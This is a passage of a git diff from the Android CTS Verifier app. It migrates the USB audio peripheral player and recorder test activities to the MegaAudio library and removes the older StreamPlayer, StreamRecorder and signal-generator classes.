         mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
-
-        mSystemSampleRate = Integer.parseInt(
-            mAudioManager.getProperty(AudioManager.PROPERTY_OUTPUT_SAMPLE_RATE));
     }
 
     protected void connectPeripheralStatusWidgets() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index fc666aa..7b85469 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -17,60 +17,68 @@
 package com.android.cts.verifier.audio;
 
 import android.content.Context;
-import android.media.AudioManager;
 import android.util.Log;
 
-import com.android.cts.verifier.audio.audiolib.SignalGenerator;
-import com.android.cts.verifier.audio.audiolib.StreamPlayer;
-import com.android.cts.verifier.audio.audiolib.WaveTableFloatFiller;
-import com.android.cts.verifier.audio.peripheralprofile.USBDeviceInfoHelper;
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
+
+// MegaAudio imports
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.JavaPlayer;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
 
 public abstract class USBAudioPeripheralPlayerActivity extends USBAudioPeripheralActivity {
     private static final String TAG = "USBAudioPeripheralPlayerActivity";
 
-    protected  int mSystemBufferSize;
+    // MegaPlayer
+    static final int NUM_CHANNELS = 2;
+    JavaPlayer mAudioPlayer;
 
-    // Player
     protected boolean mIsPlaying = false;
-    protected StreamPlayer mPlayer = null;
-    protected WaveTableFloatFiller mFiller = null;
-
-    protected float[] mWavBuffer = null;
 
     protected boolean mOverridePlayFlag = true;
 
-    private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
-
     public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
         super(requiresMandatePeripheral); // Mandated peripheral is NOT required
     }
 
     protected void setupPlayer() {
-        mSystemBufferSize =
-            StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
+        AudioSystemParams audioSystemParams = new AudioSystemParams();
+        audioSystemParams.init(this);
 
-        // the +1 is so we can repeat the 0th sample and simplify the interpolation calculation.
-        mWavBuffer = new float[WAVBUFF_SIZE_IN_SAMPLES + 1];
+        int systemSampleRate = audioSystemParams.getSystemSampleRate();
+        int numBufferFrames = audioSystemParams.getSystemBufferFrames();
 
-        SignalGenerator.fillFloatSine(mWavBuffer);
-        mFiller = new WaveTableFloatFiller(mWavBuffer);
-
-        mPlayer = new StreamPlayer();
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = (JavaPlayer)builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+            mAudioPlayer.setupStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+        }
     }
 
     protected void startPlay() {
         if (mOutputDevInfo != null && !mIsPlaying) {
-            int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mOutputDevInfo);
-            mPlayer.open(numChans, mSystemSampleRate, mSystemBufferSize, mFiller);
-            mPlayer.start();
+            mAudioPlayer.startStream();
+
             mIsPlaying = true;
         }
     }
 
     protected void stopPlay() {
         if (mIsPlaying) {
-            mPlayer.stop();
-            mPlayer.close();
+            mAudioPlayer.stopStream();
             mIsPlaying = false;
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index d51eac3..880013f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -18,27 +18,46 @@
 
 import android.graphics.Color;
 import android.os.Bundle;
-import android.os.Looper;
-import android.os.Message;
 import android.util.Log;
 import android.view.View;
 import android.widget.Button;
+import android.widget.Toast;
 
-import com.android.cts.verifier.audio.audiolib.StreamRecorder;
-import com.android.cts.verifier.audio.audiolib.StreamRecorderListener;
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
 import com.android.cts.verifier.audio.audiolib.WaveScopeView;
 
-import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
-import com.android.cts.verifier.audio.peripheralprofile.USBDeviceInfoHelper;
+// MegaAudio imports
+import org.hyphonate.megaaudio.common.BuilderBase;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.duplex.DuplexAudioManager;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+import org.hyphonate.megaaudio.recorder.sinks.AppCallback;
+import org.hyphonate.megaaudio.recorder.sinks.AppCallbackAudioSinkProvider;
 
 import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
 
-public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralPlayerActivity {
+public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralActivity {
     private static final String TAG = "USBAudioPeripheralRecordActivity";
 
-    // Recorder
-    private StreamRecorder mRecorder = null;
-    private RecordListener mRecordListener = null;
+    // JNI load
+    static {
+        try {
+            System.loadLibrary("megaaudio_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "Error loading MegaAudio JNI library");
+            Log.e(TAG, "e: " + e);
+            e.printStackTrace();
+        }
+
+        /* TODO: gracefully fail/notify if the library can't be loaded */
+    }
+
+    // MegaAudio
+    private static final int NUM_CHANNELS = 2;
+    private DuplexAudioManager   mDuplexManager;
+
+    private boolean mIsPlaying = false;
     private boolean mIsRecording = false;
 
     // Widgets
@@ -53,62 +72,50 @@
         super(false); // Mandated peripheral is NOT required
     }
 
-    private void connectWaveView() {
-        // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
-        if (mRecorder != null) {
-            float[] smplFloatBuff = mRecorder.getBurstBuffer();
-            int numChans = mRecorder.getNumChannels();
-            int numFrames = smplFloatBuff.length / numChans;
-            mWaveView.setPCMFloatBuff(smplFloatBuff, numChans, numFrames);
-            mWaveView.invalidate();
-
-            mRecorder.setListener(mRecordListener);
-        }
-    }
-
     public boolean startRecording(boolean withLoopback) {
         if (mInputDevInfo == null) {
             return false;
         }
 
-        if (mRecorder == null) {
-            mRecorder = new StreamRecorder();
-        } else if (mRecorder.isRecording()) {
-            mRecorder.stop();
+        AudioSystemParams audioSystemParams = new AudioSystemParams();
+        audioSystemParams.init(this);
+
+        int systemSampleRate = audioSystemParams.getSystemSampleRate();
+        int numBufferFrames = audioSystemParams.getSystemBufferFrames();
+
+        mDuplexManager = new DuplexAudioManager(
+                withLoopback ? new SinAudioSourceProvider() : null,
+                new AppCallbackAudioSinkProvider(new ScopeRefreshCallback()));
+
+        if (mDuplexManager.setupStreams(
+                withLoopback ? BuilderBase.TYPE_JAVA : BuilderBase.TYPE_NONE,
+                BuilderBase.TYPE_JAVA) != StreamBase.OK) {
+            Toast.makeText(
+                    this, "Couldn't create recorder. Please check permissions.", Toast.LENGTH_LONG)
+                    .show();
+            return mIsRecording = false;
         }
 
-        // no reason to do more than 2
-        int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
-        if (numChans > 2) {
-            numChans = 2;
-        }
-        Log.i(TAG, "  numChans:" + numChans);
-
-        if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
-            connectWaveView();  // Setup the WaveView
-
-            mIsRecording = mRecorder.start();
-
-            if (withLoopback) {
-                startPlay();
-            }
-
-            return mIsRecording;
+        if (mDuplexManager.start() != StreamBase.OK) {
+            Toast.makeText(
+                    this, "Couldn't start recording. Please check permissions.", Toast.LENGTH_LONG)
+                    .show();
+            return mIsRecording = false;
         } else {
-            return false;
+            mIsRecording = true;
+            mIsPlaying = withLoopback;
         }
+        return mIsRecording;
     }
 
-    public void stopRecording() {
-        if (mRecorder != null) {
-            mRecorder.stop();
+    public int stopRecording() {
+        int result = StreamBase.OK;
+        if (mDuplexManager != null) {
+            result = mDuplexManager.stop();
         }
-
-        if (mPlayer != null && mPlayer.isPlaying()) {
-            mPlayer.stop();
-        }
-
         mIsRecording = false;
+
+        return result;
     }
 
     public boolean isRecording() {
@@ -128,11 +135,6 @@
         mRecordLoopbackBtn = (Button)findViewById(R.id.uap_recordRecordLoopBtn);
         mRecordLoopbackBtn.setOnClickListener(mButtonClickListener);
 
-        setupPlayer();
-
-        mRecorder = new StreamRecorder();
-        mRecordListener = new RecordListener();
-
         mWaveView = (WaveScopeView)findViewById(R.id.uap_recordWaveView);
         mWaveView.setBackgroundColor(Color.DKGRAY);
         mWaveView.setTraceColor(Color.WHITE);
@@ -182,9 +184,6 @@
                         mRecordBtn.setEnabled(false);
                     }
                 } else {
-                    if (isPlaying()) {
-                        stopPlay();
-                    }
                     stopRecording();
                     mRecordLoopbackBtn.setText(
                         getString(R.string.audio_uap_record_recordLoopbackBtn));
@@ -195,33 +194,17 @@
         }
     }
 
-    private class RecordListener extends StreamRecorderListener {
-        /*package*/ RecordListener() {
-            super(Looper.getMainLooper());
-        }
-
-        @Override
-        public void handleMessage(Message msg) {
-            // Log.i(TAG, "RecordListener.HandleMessage(" + msg.what + ")");
-            switch (msg.what) {
-                case MSG_START:
-                    break;
-
-                case MSG_BUFFER_FILL:
-                    mWaveView.invalidate();
-                    break;
-
-                case MSG_STOP:
-                    break;
-            }
-        }
-    }
-
     @Override
     protected void onPause() {
         super.onPause();
 
-        stopPlay();
+        stopRecording();
+    }
+
+    public class ScopeRefreshCallback implements AppCallback {
+        @Override
+        public void onDataReady(float[] audioData, int numFrames) {
+            mWaveView.setPCMFloatBuff(audioData, NUM_CHANNELS, numFrames);
+        }
     }
 }
-
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
index d51ea2c..ddaef32 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
@@ -152,7 +152,7 @@
             UsbDevice theDevice = (UsbDevice) devices[0];
 
             PendingIntent permissionIntent =
-                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), 0);
+                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
             ConnectDeviceBroadcastReceiver usbReceiver =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java
deleted file mode 100644
index fd4d6c9..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-/**
- * An interface for objects which provide streamed audio data to a StreamPlayer instance.
- */
-public interface AudioFiller {
-    /**
-     * Reset a stream to the beginning.
-     */
-    public void reset();
-
-    /**
-     * Process a request for audio data.
-     * @param buffer The buffer to be filled.
-     * @param numFrames The number of frames of audio to provide.
-     * @param numChans The number of channels (in the buffer) required by the player.
-     * @return The number of frames actually generated. If this value is less than that
-     * requested, it may be interpreted by the player as the end of playback.
-     */
-    public int fill(float[] buffer, int numFrames, int numChans);
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemParams.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemParams.java
new file mode 100644
index 0000000..d013589
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemParams.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.content.Context;
+import android.media.AudioManager;
+
+public class AudioSystemParams {
+    // This value will be calculated in init()
+    private int mSystemSampleRate;
+
+    // This value will be calculated in init()
+    private int mSystemBufferFrames;
+
+    // The system burst buffer size as reported by AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER
+    // This value will be calculated in init()
+    private int mSystemBurstFrames;
+
+    public void init(Context context) {
+        AudioManager audioManager = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
+
+        String framesPerBuffer = audioManager.getProperty(
+                AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER);
+        mSystemBurstFrames = Integer.parseInt(framesPerBuffer, 10);
+
+        mSystemBufferFrames = mSystemBurstFrames;
+
+        mSystemSampleRate = Integer.parseInt(
+                audioManager.getProperty(AudioManager.PROPERTY_OUTPUT_SAMPLE_RATE));
+    }
+
+    public int getSystemSampleRate() {
+        return mSystemSampleRate;
+    }
+
+    public int getSystemBufferFrames() {
+        return mSystemBufferFrames;
+    }
+
+    public int getSystemBurstFrames()  {
+        return mSystemBurstFrames;
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java
deleted file mode 100644
index 2d91acf..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-/**
- * Generates buffers of PCM data.
- */
-public class SignalGenerator {
-    @SuppressWarnings("unused")
-    private static final String TAG = "SignalGenerator";
-
-    /**
-     * Fills a PCMFloat buffer with 1 cycle of a sine wave.
-     * NOTE: The first and last (index 0 and size-1) are filled with the
-     * sample value because WaveTableFloatFiller assumes this (to make the
-     * interpolation calculation at the end of wavetable more efficient.
-     */
-    static public void fillFloatSine(float[] buffer) {
-        int size = buffer.length;
-        float incr = ((float)Math.PI  * 2.0f) / (float)(size - 1);
-        for(int index = 0; index < size; index++) {
-            buffer[index] = (float)Math.sin(index * incr);
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
deleted file mode 100644
index bebc2a7..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-import android.content.Context;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-
-import android.util.Log;
-
-/**
- * Plays audio data from a stream. Audio data comes from a provided AudioFiller subclass instance.
- */
-public class StreamPlayer {
-    @SuppressWarnings("unused")
-    private static String TAG = "StreamPlayer";
-
-    private int mSampleRate;
-    private int mNumChans;
-
-    private AudioFiller mFiller;
-
-    private Thread mPlayerThread;
-
-    private AudioTrack mAudioTrack;
-    private int mNumAudioTrackFrames; // number of frames for INTERNAL AudioTrack buffer
-
-    // The Burst Buffer. This is the buffer we fill with audio and feed into the AudioTrack.
-    private int mNumBurstFrames;
-    private float[] mBurstBuffer;
-
-    private float[] mChanGains;
-    private volatile boolean mPlaying;
-
-    private AudioDeviceInfo mRoutingDevice;
-
-    public StreamPlayer() {}
-
-    public int getSampleRate() { return mSampleRate; }
-    public int getNumBurstFrames() { return mNumBurstFrames; }
-
-    public void setChanGains(float[] chanGains) {
-        mChanGains = chanGains;
-    }
-
-    public boolean isPlaying() { return mPlaying; }
-
-    private void applyChannelGains() {
-        if (mChanGains != null) {
-            int buffIndex = 0;
-            for (int frame = 0; frame < mNumBurstFrames; frame++) {
-                for (int chan = 0; chan < mNumChans; chan++) {
-                    mBurstBuffer[buffIndex++] *= mChanGains[chan];
-                }
-            }
-        }
-    }
-
-    public void setFiller(AudioFiller filler) { mFiller = filler; }
-
-    public void setRouting(AudioDeviceInfo routingDevice) {
-        mRoutingDevice = routingDevice;
-        if (mAudioTrack != null) {
-            mAudioTrack.setPreferredDevice(mRoutingDevice);
-        }
-    }
-
-    public AudioTrack getAudioTrack() { return mAudioTrack; }
-
-    private void allocBurstBuffer() {
-        mBurstBuffer = new float[mNumBurstFrames * mNumChans];
-    }
-
-    private static int calcNumBufferBytes(int sampleRate, int numChannels, int encoding) {
-        return AudioTrack.getMinBufferSize(sampleRate,
-                    AudioUtils.countToOutPositionMask(numChannels),
-                    encoding);
-    }
-
-    private static int calcNumBufferFrames(int sampleRate, int numChannels, int encoding) {
-        return calcNumBufferBytes(sampleRate, numChannels, encoding)
-                / AudioUtils.calcFrameSizeInBytes(encoding, numChannels);
-    }
-
-    public static int calcNumBurstFrames(AudioManager am) {
-        String framesPerBuffer = am.getProperty(AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER);
-        return Integer.parseInt(framesPerBuffer, 10);
-    }
-
-    public boolean open(int numChans, int sampleRate, int numBurstFrames, AudioFiller filler) {
-//        Log.i(TAG, "StreamPlayer.open(chans:" + numChans + ", rate:" + sampleRate +
-//                ", frames:" + numBurstFrames);
-
-        mNumChans = numChans;
-        mSampleRate = sampleRate;
-        mNumBurstFrames = numBurstFrames;
-
-        mNumAudioTrackFrames =
-                calcNumBufferFrames(sampleRate, numChans, AudioFormat.ENCODING_PCM_FLOAT);
-
-        mFiller = filler;
-
-        int bufferSizeInBytes = mNumAudioTrackFrames *
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChans);
-        try {
-            mAudioTrack = new AudioTrack.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
-                            .setSampleRate(mSampleRate)
-                            .setChannelIndexMask(AudioUtils.countToIndexMask(mNumChans))
-                            .build())
-                    .setBufferSizeInBytes(bufferSizeInBytes)
-                    .build();
-
-            allocBurstBuffer();
-            return true;
-        }  catch (UnsupportedOperationException ex) {
-            Log.e(TAG, "Couldn't open AudioTrack: " + ex);
-            mAudioTrack = null;
-            return false;
-        }
-    }
-
-    private void waitForPlayerThreadToExit() {
-        try {
-            if (mPlayerThread != null) {
-                mPlayerThread.join();
-                mPlayerThread = null;
-            }
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    }
-
-    public void close() {
-        stop();
-
-        waitForPlayerThreadToExit();
-
-        if (mAudioTrack != null) {
-            mAudioTrack.release();
-            mAudioTrack = null;
-        }
-    }
-
-    public boolean start() {
-        if (!mPlaying && mAudioTrack != null) {
-            mPlaying = true;
-
-            waitForPlayerThreadToExit(); // just to be sure.
-
-            mPlayerThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
-            mPlayerThread.start();
-
-            return true;
-        }
-
-        return false;
-    }
-
-    public void stop() {
-        mPlaying = false;
-    }
-
-    //
-    // StreamPlayerRunnable
-    //
-    private class StreamPlayerRunnable implements Runnable {
-        @Override
-        public void run() {
-            final int numBurstSamples = mNumBurstFrames * mNumChans;
-
-            mAudioTrack.play();
-            while (true) {
-                boolean playing;
-                synchronized(this) {
-                    playing = mPlaying;
-                }
-                if (!playing) {
-                    break;
-                }
-
-                mFiller.fill(mBurstBuffer, mNumBurstFrames, mNumChans);
-                if (mChanGains != null) {
-                    applyChannelGains();
-                }
-                int numSamplesWritten =
-                        mAudioTrack.write(mBurstBuffer, 0, numBurstSamples, AudioTrack.WRITE_BLOCKING);
-                if (numSamplesWritten < 0) {
-                    // error
-                    Log.i(TAG, "AudioTrack write error: " + numSamplesWritten);
-                    stop();
-                } else if (numSamplesWritten < numBurstSamples) {
-                    // end of stream
-                    Log.i(TAG, "Stream Complete.");
-                    stop();
-                }
-            }
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
deleted file mode 100644
index 2ec742e..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioRecord;
-
-import android.util.Log;
-
-import java.lang.Math;
-
-/**
- * Records audio data to a stream.
- */
-public class StreamRecorder {
-    @SuppressWarnings("unused")
-    private static final String TAG = "StreamRecorder";
-
-    // Sample Buffer
-    private float[] mBurstBuffer;
-    private int mNumBurstFrames;
-    private int mNumChannels;
-
-    // Recording attributes
-    private int mSampleRate;
-
-    // Recording state
-    Thread mRecorderThread = null;
-    private AudioRecord mAudioRecord = null;
-    private boolean mRecording = false;
-
-    private StreamRecorderListener mListener = null;
-
-    private AudioDeviceInfo mRoutingDevice = null;
-
-    public StreamRecorder() {}
-
-    public int getNumBurstFrames() { return mNumBurstFrames; }
-    public int getSampleRate() { return mSampleRate; }
-
-    /*
-     * State
-     */
-    public static int calcNumBufferBytes(int numChannels, int sampleRate, int encoding) {
-        // NOTE: Special handling of 4-channels. There is currently no AudioFormat positional
-        // constant for 4-channels of input, so in this case, calculate for 2 and double it.
-        int numBytes = 0;
-        if (numChannels == 4) {
-            numBytes = AudioRecord.getMinBufferSize(sampleRate, AudioFormat.CHANNEL_IN_STEREO,
-                    encoding);
-            numBytes *= 2;
-        } else {
-            numBytes = AudioRecord.getMinBufferSize(sampleRate,
-                    AudioUtils.countToInPositionMask(numChannels), encoding);
-        }
-
-        return numBytes;
-    }
-
-    public static int calcNumBufferFrames(int numChannels, int sampleRate, int encoding) {
-        return calcNumBufferBytes(numChannels, sampleRate, encoding) /
-                AudioUtils.calcFrameSizeInBytes(encoding, numChannels);
-    }
-
-    public boolean isInitialized() {
-        return mAudioRecord != null && mAudioRecord.getState() == AudioRecord.STATE_INITIALIZED;
-    }
-
-    public boolean isRecording() { return mRecording; }
-
-    public void setRouting(AudioDeviceInfo routingDevice) {
-        Log.i(TAG, "setRouting(" + (routingDevice != null ? routingDevice.getId() : -1) + ")");
-        mRoutingDevice = routingDevice;
-        if (mAudioRecord != null) {
-            mAudioRecord.setPreferredDevice(mRoutingDevice);
-        }
-    }
-
-    /*
-     * Accessors
-     */
-    public float[] getBurstBuffer() { return mBurstBuffer; }
-
-    public int getNumChannels() { return mNumChannels; }
-
-    /*
-     * Events
-     */
-    public void setListener(StreamRecorderListener listener) {
-        mListener = listener;
-    }
-
-    private void waitForRecorderThreadToExit() {
-        try {
-            if (mRecorderThread != null) {
-                mRecorderThread.join();
-                mRecorderThread = null;
-            }
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    }
-
-    private boolean open_internal(int numChans, int sampleRate) {
-        mNumChannels = numChans;
-        mSampleRate = sampleRate;
-
-        final int frameSize =
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
-        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
-
-        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
-        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
-        formatBuilder.setSampleRate(mSampleRate);
-
-        if (numChans <= 2) {
-            // There is currently a bug causing channel INDEX masks to fail.
-            // for channels counts of <= 2, use channel POSITION
-            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
-            formatBuilder.setChannelMask(chanPosMask);
-        } else {
-            // There are no INPUT channel-position masks for > 2 channels
-            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-            formatBuilder.setChannelIndexMask(chanIndexMask);
-        }
-
-        AudioRecord.Builder builder = new AudioRecord.Builder();
-        builder.setAudioFormat(formatBuilder.build());
-
-        try {
-            mAudioRecord = builder.build();
-            return true;
-        } catch (UnsupportedOperationException ex) {
-            Log.e(TAG, "Couldn't open AudioRecord: " + ex);
-            mAudioRecord = null;
-            return false;
-        }
-    }
-
-    public boolean open(int numChans, int sampleRate, int numBurstFrames) {
-        boolean sucess = open_internal(numChans, sampleRate);
-        if (sucess) {
-            mNumBurstFrames = numBurstFrames;
-            mBurstBuffer = new float[mNumBurstFrames * mNumChannels];
-            // put some non-zero data in the burst buffer.
-            // this is to verify that the record is putting SOMETHING into each channel.
-            for(int index = 0; index < mBurstBuffer.length; index++) {
-                mBurstBuffer[index] = (float)(Math.random() * 2.0) - 1.0f;
-            }
-        }
-
-        return sucess;
-    }
-
-    public void close() {
-        stop();
-
-        waitForRecorderThreadToExit();
-
-        mAudioRecord.release();
-        mAudioRecord = null;
-    }
-
-    public boolean start() {
-        mAudioRecord.setPreferredDevice(mRoutingDevice);
-
-        if (mListener != null) {
-            mListener.sendEmptyMessage(StreamRecorderListener.MSG_START);
-        }
-
-        try {
-            mAudioRecord.startRecording();
-        } catch (IllegalStateException ex) {
-            Log.i("", "ex: " + ex);
-        }
-        mRecording = true;
-
-        waitForRecorderThreadToExit(); // just to be sure.
-
-        mRecorderThread = new Thread(new StreamRecorderRunnable(), "StreamRecorder Thread");
-        mRecorderThread.start();
-
-        return true;
-    }
-
-    public void stop() {
-        if (mRecording) {
-            mRecording = false;
-        }
-    }
-
-    /*
-     * StreamRecorderRunnable
-     */
-    private class StreamRecorderRunnable implements Runnable {
-        @Override
-        public void run() {
-            final int numBurstSamples = mNumBurstFrames * mNumChannels;
-            while (mRecording) {
-                int numReadSamples = mAudioRecord.read(
-                        mBurstBuffer, 0, numBurstSamples, AudioRecord.READ_BLOCKING);
-
-                if (numReadSamples < 0) {
-                    // error
-                    Log.i(TAG, "AudioRecord write error: " + numReadSamples);
-                    stop();
-                } else if (numReadSamples < numBurstSamples) {
-                    // got less than requested?
-                    Log.i(TAG, "AudioRecord Underflow: " + numReadSamples +
-                            " vs. " + numBurstSamples);
-                    stop();
-                }
-
-                if (mListener != null && numReadSamples == numBurstSamples) {
-                    mListener.sendEmptyMessage(StreamRecorderListener.MSG_BUFFER_FILL);
-                }
-            }
-
-            if (mListener != null) {
-                // TODO: on error or underrun we may be send bogus data.
-                mListener.sendEmptyMessage(StreamRecorderListener.MSG_STOP);
-            }
-            mAudioRecord.stop();
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java
deleted file mode 100644
index c542432..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
